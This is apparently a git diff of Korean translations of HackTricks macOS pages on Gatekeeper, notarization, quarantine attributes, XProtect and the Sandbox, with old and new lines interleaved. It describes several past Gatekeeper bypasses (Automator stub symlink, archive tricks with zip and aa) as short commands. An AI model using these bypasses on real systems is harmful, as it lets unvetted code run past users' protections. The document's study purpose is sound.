Apple의 노타리제이션 프로세스는 사용자들을 잠재적으로 해로운 소프트웨어로부터 보호하기 위한 추가적인 안전장치 역할을 합니다. 이는 **개발자가 자신의 애플리케이션을** **Apple의 Notary Service**에 제출하여 검토를 받는 과정을 포함합니다. 이 서비스는 App Review와 혼동해서는 안 됩니다. 이 서비스는 제출된 소프트웨어에 **악성 콘텐츠**와 코드 서명 관련 잠재적 문제를 검사하는 **자동화된 시스템**입니다.
소프트웨어가 우려 사항 없이 이 검사를 **통과**하면, Notary Service는 인증 티켓을 생성합니다. 개발자는 **이 티켓을 자신의 소프트웨어에 첨부해야** 하며, 이를 '스테이플링'이라고 합니다. 또한, 인증 티켓은 온라인에 게시되어 Gatekeeper, Apple의 보안 기술이 이를 접근할 수 있습니다.
소프트웨어가 이 검사를 통과하고 우려 사항이 없으면, Notary Service는 노타리제이션 티켓을 생성합니다. 개발자는 **이 티켓을 자신의 소프트웨어에 첨부해야** 하며, 이를 '스테이플링'이라고 합니다. 또한, 노타리제이션 티켓은 온라인에 게시되어 Gatekeeper, Apple의 보안 기술이 이를 접근할 수 있습니다.
사용자가 소프트웨어를 처음 설치하거나 실행할 때, 인증 티켓의 존재 - 실행 파일에 스테이플링되었거나 온라인에서 발견된 경우 - **Gatekeeper에 소프트웨어가 Apple에 의해 인증되었음을 알립니다**. 결과적으로, Gatekeeper는 초기 실행 대화 상자에 설명 메시지를 표시하여 소프트웨어가 Apple에 의해 악성 콘텐츠에 대한 검사를 받았음을 나타냅니다. 이 과정은 사용자가 자신의 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰를 높입니다.
사용자가 소프트웨어를 처음 설치하거나 실행할 때, 노타리제이션 티켓의 존재 - 실행 파일에 스테이플링되었거나 온라인에서 발견된 경우 - **Gatekeeper에 소프트웨어가 Apple에 의해 노타리제이션되었음을 알립니다**. 결과적으로, Gatekeeper는 초기 실행 대화 상자에 설명 메시지를 표시하여 소프트웨어가 Apple에 의해 악성 콘텐츠 검사를 받았음을 나타냅니다. 이 과정은 사용자가 자신의 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰를 높입니다.
### spctl & syspolicyd
@ -88,10 +84,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
**`syspolicyd`**는 `assess`, `update`, `record`, `cancel`과 같은 다양한 작업을 수행하는 XPC 서버를 노출하며, 이는 **`Security.framework``SecAssessment*`** API를 사용하여 접근할 수 있습니다. **`xpctl`**은 실제로 XPC를 통해 **`syspolicyd`**와 통신합니다.
**`syspolicyd`**는 `assess`, `update`, `record`, `cancel`과 같은 다양한 작업을 수행하는 XPC 서버를 노출하며, 이는 **`Security.framework``SecAssessment*`** API를 통해 접근할 수 있고, **`xpctl`**은 실제로 XPC를 통해 **`syspolicyd`**와 통신합니다.
첫 번째 규칙이 "**App Store**"로 끝나고 두 번째 규칙이 "**Developer ID**"로 끝나는 점에 주목하세요. 이전 이미지에서는 **App Store 및 식별된 개발자**의 앱을 실행할 수 있도록 **활성화**되어 있었습니다.\
설정을 App Store로 **수정**하면 "**Notarized Developer ID" 규칙이 사라질 것입니다**.
해당 설정을 App Store로 **수정**하면 "**Notarized Developer ID" 규칙이 사라질 것입니다**.
또한 **type GKE**의 수천 개의 규칙이 있습니다:
```bash
@ -126,7 +122,7 @@ spctl --master-enable
<figure><img src="../../../images/image (1151).png" alt=""><figcaption></figcaption></figure>
**앱이 GateKeeper에 의해 허용될지 확인할 수 있습니다**:
**GateKeeper에 의해 앱이 허용될지 확인할 수 있습니다**:
```bash
spctl --assess -v /Applications/App.app
```
@ -153,9 +149,9 @@ spctl --assess -v /Applications/App.app
**격리 플래그의 존재는 사용자가 파일을 실행하려고 할 때 macOS의 Gatekeeper 보안 기능을 신호합니다.**
**격리 플래그가 는 경우**(일부 BitTorrent 클라이언트를 통해 다운로드된 파일과 같이) Gatekeeper의 **검사가 수행되지 않을 수 있습니다**. 따라서 사용자는 덜 안전하거나 알려지지 않은 출처에서 다운로드한 파일을 열 때 주의해야 합니다.
**격리 플래그가 존재하지 않는 경우**(일부 BitTorrent 클라이언트를 통해 다운로드된 파일과 같이), Gatekeeper의 **검사가 수행되지 않을 수 있습니다**. 따라서 사용자는 덜 안전하거나 알려지지 않은 출처에서 다운로드한 파일을 열 때 주의해야 합니다.
> [!NOTE] > **코드 서명의 유효성**을 **확인하는** 과정은 코드와 모든 번들 리소스의 암호화된 **해시**를 생성하는 것을 포함하는 **자원 집약적** 프로세스입니다. 또한, 인증서 유효성 검사는 발급 후 취소되었는지 확인하기 위해 Apple의 서버에 **온라인 확인**을 수행하는 것을 포함합니다. 이러한 이유로, 전체 코드 서명 및 인증 확인은 **앱이 실행될 때마다 수행하기에는 비현실적입니다**.
> [!NOTE] > **코드 서명의 유효성**을 **확인하는** 은 코드와 모든 번들 리소스의 암호화된 **해시**를 생성하는 것을 포함하는 **자원 집약적인** 과정입니다. 또한, 인증서 유효성 검사는 발급 후 취소되었는지 확인하기 위해 Apple의 서버에 **온라인 확인**을 수행하는 것을 포함합니다. 이러한 이유로, 전체 코드 서명 및 인증 확인은 **앱이 실행될 때마다 수행하기에는 비현실적입니다**.
>
> 따라서 이러한 검사는 **격리 속성이 있는 앱을 실행할 때만 수행됩니다.**
@ -181,7 +177,7 @@ xattr file.png
com.apple.macl
com.apple.quarantine
```
인하십시오 **값****확장된** **속성** 및 찾으십시오 격리 속성을 작성한 앱:
장된 속성의 **값**을 확인하고 다음과 같이 격리 속성을 작성한 앱을 찾으십시오:
```bash
xattr -l portada.png
com.apple.macl:
@ -283,20 +279,20 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
#### **Quarantine.kext**
커널 확장은 **시스템의 커널 캐시**를 통해서만 사용할 수 있습니다. 그러나 **Kernel Debug Kit를** [**https://developer.apple.com/**](https://developer.apple.com/)에서 다운로드할 수 있으며, 이 키트에는 확장의 기호화된 버전이 포함되어 있습니다.
커널 확장은 **시스템의 커널 캐시**를 통해서만 사용할 수 있습니다. 그러나 **Kernel Debug Kit를** [**https://developer.apple.com/**](https://developer.apple.com/)에서 다운로드할 수 있으며, 이 키트는 확장의 기호화된 버전을 포함합니다.
이 Kext는 MACF를 통해 여러 호출을 후킹하여 모든 파일 생애 주기 이벤트를 가로니다: 생성, 열기, 이름 바꾸기, 하드 링크... 심지어 `setxattr`를 사용하여 `com.apple.quarantine` 확장 속성을 설정하지 못하도록 방지합니다.
이 Kext는 MACF를 통해 여러 호출을 후킹하여 모든 파일 생애 주기 이벤트를 가로채기 위해 사용됩니다: 생성, 열기, 이름 바꾸기, 하드 링크... 심지어 `setxattr`를 사용하여 `com.apple.quarantine` 확장 속성을 설정하지 못하도록 방지합니다.
또한 몇 가지 MIB를 사용합니다:
- `security.mac.qtn.sandbox_enforce`: 샌드박스와 함께 격리 강제 적용
- `security.mac.qtn.user_approved_exec`: 격리된 프로세스는 승인된 파일만 실행할 수 있습니다
- `security.mac.qtn.sandbox_enforce`: 샌드박스와 함께 격리를 시행
- `security.mac.qtn.user_approved_exec`: 격리된 프로세스는 승인된 파일만 실행할 수 있
### XProtect
XProtect는 macOS에 내장된 **안티멀웨어** 기능입니다. XProtect는 **응용 프로그램이 처음 실행되거나 수정될 때 알려진 맬웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 검사합니다**. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드하면 XProtect가 자동으로 파일을 스캔합니다. 데이터베이스의 알려진 맬웨어와 일치하는 경우, XProtect는 **파일 실행을 차단하고** 위협에 대해 경고합니다.
XProtect는 macOS에 내장된 **안티멀웨어** 기능입니다. XProtect는 **애플리케이션이 처음 실행되거나 수정될 때 알려진 멀웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 검사합니다**. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드하면 XProtect가 자동으로 파일을 스캔합니다. 데이터베이스에 있는 알려진 멀웨어와 일치하면 XProtect는 **파일 실행을 차단하고** 위협에 대해 경고합니다.
XProtect 데이터베이스는 Apple에 의해 **정기적으로 업데이트**되며, 새로운 웨어 정의가 포함됩니다. 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect는 항상 최신 알려진 위협에 대해 최신 상태를 유지합니다.
XProtect 데이터베이스는 Apple에 의해 **정기적으로 업데이트**되며, 새로운 웨어 정의가 포함됩니다. 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect는 항상 최신 알려진 위협에 대해 최신 상태를 유지합니다.
그러나 **XProtect는 완전한 기능을 갖춘 안티바이러스 솔루션이 아닙니다**. 특정 알려진 위협 목록만 검사하며, 대부분의 안티바이러스 소프트웨어처럼 접근 시 스캔을 수행하지 않습니다.
@ -304,27 +300,27 @@ XProtect 데이터베이스는 Apple에 의해 **정기적으로 업데이트**
```bash
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
```
XProtect는 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에 위치한 SIP 보호 위치에 있으며, 번들 내부에서 XProtect가 사용하는 정보를 찾을 수 있습니다:
XProtect는 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에 위치하며, 번들 안에는 XProtect가 사용하는 정보가 있습니다:
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: 해당 cdhashes를 가진 코드가 레거시 권한을 사용할 수 있도록 허용합니다.
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID 및 TeamID를 통해 로드가 금지된 플러그인 및 확장 목록 또는 최소 버전을 나타냅니다.
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: 맬웨어를 탐지하기 위한 Yara 규칙입니다.
- **`XProtect.bundle/Contents/Resources/gk.db`**: 차단된 애플리케이션 및 TeamIDs의 해시가 포함된 SQLite3 데이터베이스입니다.
- **`XProtect.bundle/Contents/Resources/gk.db`**: 차단된 애플리케이션 및 TeamID의 해시가 포함된 SQLite3 데이터베이스입니다.
**`/Library/Apple/System/Library/CoreServices/XProtect.app`**에 XProtect와 관련된 또 다른 앱이 있지만, 이는 Gatekeeper 프로세스와 관련이 없습니다.
**`/Library/Apple/System/Library/CoreServices/XProtect.app`**에는 Gatekeeper 프로세스와 관련이 없는 XProtect와 관련된 또 다른 앱이 있다는 점에 유의하세요.
### Gatekeeper 아님
### Not Gatekeeper
> [!CAUTION]
> Gatekeeper는 애플리케이션을 실행할 때마다 **실행되지 않습니다**. 오직 _**AppleMobileFileIntegrity**_ (AMFI)만이 Gatekeeper에 의해 이미 실행되고 검증된 앱을 실행할 때 **실행 가능한 코드 서명**을 확인합니다.
따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 후, **애플리케이션의 실행 불가능한 파일**(예: Electron asar 또는 NIB 파일)을 수정하고, 다른 보호 장치가 없으면 애플리케이션이 **악성** 추가 사항과 함께 **실행되었습니다**.
따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 후, **애플리케이션의 실행 파일**(예: Electron asar 또는 NIB 파일)을 수정하고 다른 보호 장치가 없으면 애플리케이션이 **악성** 추가 사항과 함께 **실행되었습니다**.
하지만 이제 macOS는 애플리케이션 번들 내 파일 수정을 **방지**하므로, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면 더 이상 이를 악용할 수 없음을 알게 될 것입니다. 앱을 실행하여 Gatekeeper로 캐시한 후에는 번들을 수정할 수 없습니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경하고 (악용에서 지시한 대로) 앱의 주요 바이너리를 실행하여 Gatekeeper로 캐시하면 오류가 발생하고 실행되지 않습니다.
하지만 이제는 macOS가 애플리케이션 번들 내의 파일 수정을 **방지하기 때문에** 이 방법은 더 이상 불가능합니다. 따라서 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면, 앱을 실행하여 Gatekeeper로 캐시한 후 번들을 수정할 수 없게 되므로 더 이상 악용할 수 없다는 것을 알게 될 것입니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경하고 (악용에서 지시한 대로) 앱의 주요 바이너리를 실행하여 Gatekeeper로 캐시하면 오류가 발생하고 실행되지 않습니다.
## Gatekeeper 우회
## Gatekeeper Bypasses
Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 Gatekeeper가 이를 허용하지 않아야 할 때 실행하도록 만드는 것)은 macOS의 취약점으로 간주됩니다. 과거에 Gatekeeper를 우회할 수 있게 해준 기술에 할당된 CVE는 다음과 같습니다:
Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 Gatekeeper가 이를 차단해야 할 때 실행하도록 만드는 것)은 macOS의 취약점으로 간주됩니다. 과거에 Gatekeeper를 우회할 수 있게 해준 기술에 할당된 CVE는 다음과 같습니다:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
@ -334,9 +330,9 @@ Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 G
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
**Automator**로 생성된 애플리케이션의 경우, 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 **Automator Application Stub**이라는 일반 Automator 바이너리입니다.
**Automator**로 생성된 애플리케이션의 경우, 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 **Automator Application Stub**이라는 일반 Automator 바이너리일 뿐입니다.
따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`**시스템 내 다른 Automator Application Stub을 가리키는 심볼릭 링크를 만들 수 있습니다**. 그러면 `document.wflow`(당신의 스크립트) 내의 내용을 **Gatekeeper를 트리거하지 않고 실행**합니다. 실제 실행 파일에는 격리 xattr가 없기 때문입니다.
따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`이 **시스템 내 다른 Automator Application Stub을 가리키는 심볼릭 링크로 설정**할 수 있으며, 그러면 `document.wflow`(당신의 스크립트) 내의 내용을 **Gatekeeper를 트리거하지 않고 실행**합니다.
예상 위치: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
@ -344,7 +340,7 @@ Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 G
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
이 우회에서는 `application.app/Contents`에서 압축을 시작하는 애플리케이션으로 zip 파일이 생성되었습니다. 따라서 **quarantine attr**는 **`application.app/Contents`의 모든 파일에 적용되었지만**, **`application.app`에는 적용되지 않았습니다**. Gatekeeper가 확인하는 것은 `application.app`이었기 때문에, `application.app`이 트리거될 때 **격리 속성이 없었습니다.**
이 우회에서는 `application.app/Contents`에서 압축을 시작하는 애플리케이션으로 zip 파일이 생성되었습니다. 따라서 **quarantine attr**는 **`application.app/Contents`의 모든 파일에 적용되었지만**, **`application.app`에는 적용되지 않았습니다**. Gatekeeper가 확인하는 것은 `application.app`이었기 때문에, `application.app`이 트리거될 때 **quarantine 속성이 없었습니다.**
```bash
zip -r test.app/Contents test.zip
```
@ -356,7 +352,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar
```bash
aa archive -d test.app/Contents -o test.app.aar
```
자세한 내용은 [**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)를 확인하세요.
더 많은 정보는 [**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)를 확인하세요.
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
@ -429,10 +425,7 @@ aa archive -d s/ -o app.aar
### Prevent Quarantine xattr
".app" 번들에 격리 xattr가 추가되지 않으면, 실행할 때 **Gatekeeper가 트리거되지 않습니다**.
".app" 번들에 quarantine xattr가 추가되지 않으면, 실행할 때 **Gatekeeper가 트리거되지 않습니다**.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Basic Information
MacOS Sandbox (초기 이름: Seatbelt) **는 샌드박스 내에서 실행되는 애플리케이션의** **허용된 작업**을 **샌드박스 프로필에 지정된 대로 제한**합니다. 이는 **애플리케이션이 예상된 리소스만 접근하도록 보장하는 데 도움**이 됩니다.
MacOS Sandbox (초기 이름: Seatbelt) **는 샌드박스 내에서 실행되는 애플리케이션의** **허용된 작업**을 **샌드박스 프로필에 지정된 대로 제한**합니다. 이는 **애플리케이션이 예상된 리소스만 접근하도록 보장하는 데 도움**을 줍니다.
**`com.apple.security.app-sandbox`** 권한을 가진 모든 애플리케이션은 샌드박스 내에서 실행됩니다. **Apple 바이너리**는 일반적으로 샌드박스 내에서 실행되며, **App Store의 모든 애플리케이션은 해당 권한을 가집니다**. 따라서 여러 애플리케이션이 샌드박스 내에서 실행됩니다.
@ -19,7 +19,7 @@ MacOS Sandbox (초기 이름: Seatbelt) **는 샌드박스 내에서 실행되
### Containers
모든 샌드박스화된 애플리케이션은 `~/Library/Containers/{CFBundleIdentifier}`에 고유한 컨테이너를 가집니다:
모든 샌드박스 애플리케이션은 `~/Library/Containers/{CFBundleIdentifier}`에 고유한 컨테이너를 가집니다:
```bash
ls -l ~/Library/Containers
total 0
@ -30,7 +30,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
[...]
```
각 번들 ID 폴더 안에는 **plist**와 홈 폴더를 모방한 구조의 앱 **데이터 디렉토리**를 찾을 수 있습니다:
각 번들 ID 폴더 안에는 **plist**와 홈 폴더를 모방한 구조의 앱 **Data directory**를 찾을 수 있습니다:
```bash
cd /Users/username/Library/Containers/com.apple.Safari
ls -la
@ -54,7 +54,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
> [!CAUTION]
> 심볼릭 링크가 Sandbox에서 "탈출"하여 다른 폴더에 접근하기 위해 존재하더라도, 앱은 여전히 **접근 권한**을 **가져야** 합니다. 이러한 권한은 `RedirectablePaths`**`.plist`** 안에 있습니다.
> 심볼릭 링크가 Sandbox에서 "탈출"하여 다른 폴더에 접근하기 위해 존재하더라도, 앱은 여전히 **접근 권한**을 가져야 합니다. 이러한 권한은 `RedirectablePaths`의 **`.plist`** 안에 있습니다.
**`SandboxProfileData`**는 B64로 이스케이프된 컴파일된 샌드박스 프로필 CFData입니다.
```bash
@ -133,7 +133,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
> [!TIP]
> 이 [**연구**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)를 확인하여 허용되거나 거부될 수 있는 더 많은 작업을 확인하세요.
>
> 프로파일의 컴파일된 버전에서는 작업의 이름이 dylib와 kext에 의해 알려진 배열의 항목으로 대체되어 컴파일된 버전이 더 짧고 읽기 어렵게 만듭니다.
> 프로파일의 컴파일된 버전에서는 작업의 이름이 dylib와 kext에 알려진 배열의 항목으로 대체되어 컴파일된 버전이 더 짧고 읽기 어렵게 만듭니다.
중요한 **시스템 서비스**는 `mdnsresponder` 서비스와 같은 자체 맞춤 **샌드박스** 내에서 실행됩니다. 이러한 맞춤 **샌드박스 프로파일**은 다음에서 확인할 수 있습니다:
@ -143,7 +143,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
**App Store** 앱은 **프로파일** **`/System/Library/Sandbox/Profiles/application.sb`**를 사용합니다. 이 프로파일에서 **`com.apple.security.network.server`**와 같은 권한이 프로세스가 네트워크를 사용할 수 있도록 허용하는 방법을 확인할 수 있습니다.
SIP는 /System/Library/Sandbox/rootless.conf에 있는 platform_profile이라는 샌드박스 프로파일입니다.
그런 다음, 일부 **Apple 데몬 서비스**는 `/System/Library/Sandbox/Profiles/*.sb` 또는 `/usr/share/sandbox/*.sb`에 위치한 다른 프로파일을 사용합니다. 이러한 샌드박스는 API `sandbox_init_XXX`를 호출하는 주요 기능에 적용됩니다.
**SIP**는 `/System/Library/Sandbox/rootless.conf`에 있는 platform_profile이라는 샌드박스 프로파일입니다.
### 샌드박스 프로파일 예시
@ -214,18 +216,18 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
(version 1)
(trace /tmp/trace.out)
```
그런 다음 해당 프로필을 사용하여 무언가를 실행하십시오:
그런 다음 해당 프로필을 사용하여 무언가를 실행합니다:
```bash
sandbox-exec -f /tmp/trace.sb /bin/ls
```
`/tmp/trace.out`에서 호출될 때마다 수행된 각 샌드박스 검사를 볼 수 있습니다(즉, 많은 중복이 발생합니다).
**`-t`** 매개변수를 사용하여 샌드박스를 추적하는 것도 가능합니다: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
**`-t`** 매개변수를 사용하여 샌드박스를 추적할 수도 있습니다: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
#### API를 통한 방법
`libsystem_sandbox.dylib`에서 내보낸 `sandbox_set_trace_path` 함수는 샌드박스 검사가 기록될 추적 파일 이름을 지정할 수 있게 해줍니다.\
`sandbox_vtrace_enable()`을 호출하고, 그 후 `sandbox_vtrace_report()`를 호출하여 버퍼에서 로그 오류를 가져오는 유사한 작업도 가능합니다.
`sandbox_vtrace_enable()`을 호출하고, 그 후 `sandbox_vtrace_report()`를 호출하여 버퍼에서 로그 오류를 가져오는 유사한 작업을 수행할 수도 있습니다.
### 샌드박스 검사
@ -237,7 +239,7 @@ MacOS는 시스템 샌드박스 프로파일을 두 위치에 저장합니다: *
그리고 서드파티 애플리케이션이 _**com.apple.security.app-sandbox**_ 권한을 가지고 있다면, 시스템은 해당 프로세스에 **/System/Library/Sandbox/Profiles/application.sb** 프로파일을 적용합니다.
iOS에서는 기본 프로파일이 **container**라고 하며, SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대 허용/거부 이진 트리로 표현됩니다.
iOS에서는 기본 프로파일이 **container**라고 하며, SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대 허용/거부 이진 트리로 표현됩니다.
### App Store 앱의 사용자 정의 SBPL
@ -259,13 +261,13 @@ iOS에서는 기본 프로파일이 **container**라고 하며, SBPL 텍스트
이 도구의 리버스 및 [**오픈 소스 버전인 sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c)는 **`sandbox-exec`**가 컴파일된 Sandbox 프로필을 파일에 기록할 수 있게 합니다.
또한, 프로세스를 컨테이너 내에 제한하려면 `sandbox_spawnattrs_set[container/profilename]`를 호출하고 컨테이너 또는 기존 프로필을 전달할 수 있습니다.
또한, 프로세스를 컨테이너 내에 제한하려면 `sandbox_spawnattrs_set[container/profilename]`를 호출하고 컨테이너 또는 기존 프로필을 전달할 수 있습니다.
## Sandbox 디버그 및 우회
macOS에서는 프로세스가 커널에 의해 처음부터 Sandbox에 격리되는 iOS와 달리, **프로세스가 스스로 Sandbox에 참여해야 합니다**. 이는 macOS에서 프로세스가 적극적으로 Sandbox에 들어가기로 결정할 때까지 Sandbox에 의해 제한되지 않음을 의미하며, App Store 앱은 항상 Sandbox에 격리됩니다.
macOS에서는 프로세스가 커널에 의해 처음부터 샌드박스화되는 iOS와 달리, **프로세스가 스스로 샌드박스에 참여해야 합니다**. 이는 macOS에서 프로세스가 적극적으로 샌드박스에 들어가기로 결정할 때까지 샌드박스에 의해 제한되지 않음을 의미하며, App Store 앱은 항상 샌드박스화됩니다.
프로세스는 `com.apple.security.app-sandbox` 권한이 있을 경우 사용자 공간에서 시작할 때 자동으로 Sandbox에 격리됩니다. 이 프로세스에 대한 자세한 설명은 다음을 확인하십시오:
프로세스는 `com.apple.security.app-sandbox` 권한이 있을 경우 사용자 공간에서 시작할 때 자동으로 샌드박스화됩니다. 이 프로세스에 대한 자세한 설명은 다음을 확인하십시오:
{{#ref}}
macos-sandbox-debug-and-bypass/
@ -285,14 +287,14 @@ macos-sandbox-debug-and-bypass/
확장은 프로세스 자격 증명에서 접근할 수 있는 두 번째 MACF 레이블 슬롯에 저장됩니다. 다음 **`sbtool`**이 이 정보를 접근할 수 있습니다.
확장은 일반적으로 허용된 프로세스에 의해 부여되며, 예를 들어, `tccd`는 프로세스가 사진에 접근하려고 시도하고 XPC 메시지에서 허용되었을 때 `com.apple.tcc.kTCCServicePhotos`의 확장 토큰을 부여합니다. 그런 다음 프로세스는 확장 토큰을 소비해야 추가됩니다.\
확장은 일반적으로 허용된 프로세스에 의해 부여된다는 점에 유의하십시오. 예를 들어, `tccd`는 프로세스가 사진에 접근하려고 시도하고 XPC 메시지에서 허용되었을 때 `com.apple.tcc.kTCCServicePhotos`의 확장 토큰을 부여합니다. 그런 다음 프로세스는 확장 토큰을 소비해야 추가됩니다.\
확장 토큰은 부여된 권한을 인코딩하는 긴 16진수입니다. 그러나 허용된 PID가 하드코딩되어 있지 않으므로, 토큰에 접근할 수 있는 모든 프로세스가 **여러 프로세스에 의해 소비될 수 있습니다**.
확장은 권한과 매우 관련이 있으므로 특정 권한을 가지면 특정 확장이 자동으로 부여될 수 있습니다.
### **PID 권한 확인**
[**이것에 따르면**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s), **`sandbox_check`** 함수(이는 `__mac_syscall`입니다)는 특정 PID, 감사 토큰 또는 고유 ID에 대해 **작업이 허용되는지 여부를 확인할 수 있습니다**.
[**이것에 따르면**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s), **`sandbox_check`** 함수(이는 `__mac_syscall`입니다)는 특정 PID, 감사 토큰 또는 고유 ID에 대해 **작업이 허용되는지 여부를** 확인할 수 있습니다.
[**도구 sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (여기 [컴파일된 버전 찾기](https://newosxbook.com/articles/hitsb.html))는 PID가 특정 작업을 수행할 수 있는지 확인할 수 있습니다:
```bash
@ -313,9 +315,9 @@ sbtool <pid> all
## mac_syscall
이 시스템 호출 (#381)은 첫 번째 인수로 실행할 모듈을 나타내는 문자열을 기대하며, 두 번째 인수로 실행할 함수를 나타내는 코드를 기대합니다. 그런 다음 세 번째 인수는 실행된 함수에 따라 달라집니다.
이 시스템 호출 (#381)은 첫 번째 인수로 실행할 모듈을 나타내는 문자열을 기대하며, 두 번째 인수로 실행할 함수를 나타내는 코드를 기대합니다. 세 번째 인수는 실행된 함수에 따라 달라집니다.
함수 `___sandbox_ms` 호출은 `mac_syscall`을 래핑하며 첫 번째 인수로 `"Sandbox"`를 나타냅니다. `___sandbox_msp``mac_set_proc` (#387)의 래퍼입니다. 그런 다음 `___sandbox_ms`에서 지원하는 코드의 일부는 다음 표에서 찾을 수 있습니다:
함수 `___sandbox_ms` 호출은 `mac_syscall`을 래핑하며 첫 번째 인수로 `"Sandbox"`를 나타냅니다. `___sandbox_msp``mac_set_proc` (#387)의 래퍼입니다. 그런 다음, `___sandbox_ms`에서 지원되는 일부 코드는 다음 표에서 확인할 수 있습니다:
- **set_profile (#0)**: 프로세스에 컴파일된 또는 명명된 프로필을 적용합니다.
- **platform_policy (#1)**: 플랫폼별 정책 검사를 시행합니다 (macOS와 iOS 간에 다름).
@ -356,13 +358,13 @@ iOS에서는 커널 확장이 **모든 프로필을 하드코딩**하여 `__TEXT
### MACF Hooks
**`Sandbox.kext`**는 MACF를 통해 백 개 이상의 후킹을 사용합니다. 대부분의 후킹은 사소한 경우를 확인하여 작업을 수행할 수 있도록 허용하며, 그렇지 않은 경우 **`cred_sb_evalutate`**를 호출하여 MACF의 **credentials**와 수행할 **operation**에 해당하는 숫자 및 출력용 **buffer**를 전달합니다.
**`Sandbox.kext`**는 MACF를 통해 백 개 이상의 후킹을 사용합니다. 대부분의 후킹은 사소한 경우를 확인하여 작업을 수행할 수 있도록 하며, 그렇지 않은 경우 **`cred_sb_evalutate`**를 호출하여 MACF의 **credentials**와 수행할 **operation**에 해당하는 숫자 및 **output**을 위한 **buffer**를 전달합니다.
그 좋은 예는 **`_mpo_file_check_mmap`** 함수로, **`mmap`**을 후킹하며 새로운 메모리가 쓰기 가능할지 확인하고 (그렇지 않으면 실행을 허용하지 않음), dyld 공유 캐시를 위해 사용되는지 확인한 후 실행을 허용합니다. 마지막으로 **`sb_evaluate_internal`** (또는 그 래퍼 중 하나)을 호출하여 추가 허용 검사를 수행합니다.
그 좋은 예는 **`_mpo_file_check_mmap`** 함수로, **`mmap`**을 후킹하며 새로운 메모리가 쓰기 가능할지 확인한 후 (그렇지 않으면 실행을 허용하지 않음), dyld 공유 캐시를 위해 사용되는지 확인하고, 그렇다면 실행을 허용하며, 마지막으로 **`sb_evaluate_internal`** (또는 그 래퍼 중 하나)을 호출하여 추가 허용 검사를 수행합니다.
게다가, 샌드박스가 사용하는 수백 개의 후킹 중에서 특히 흥미로운 세 가지가 있습니다:
게다가, 샌드박스가 사용하는 수백 개의 후킹 중에서 특히 흥미로운 세 가지는 다음과 같습니다:
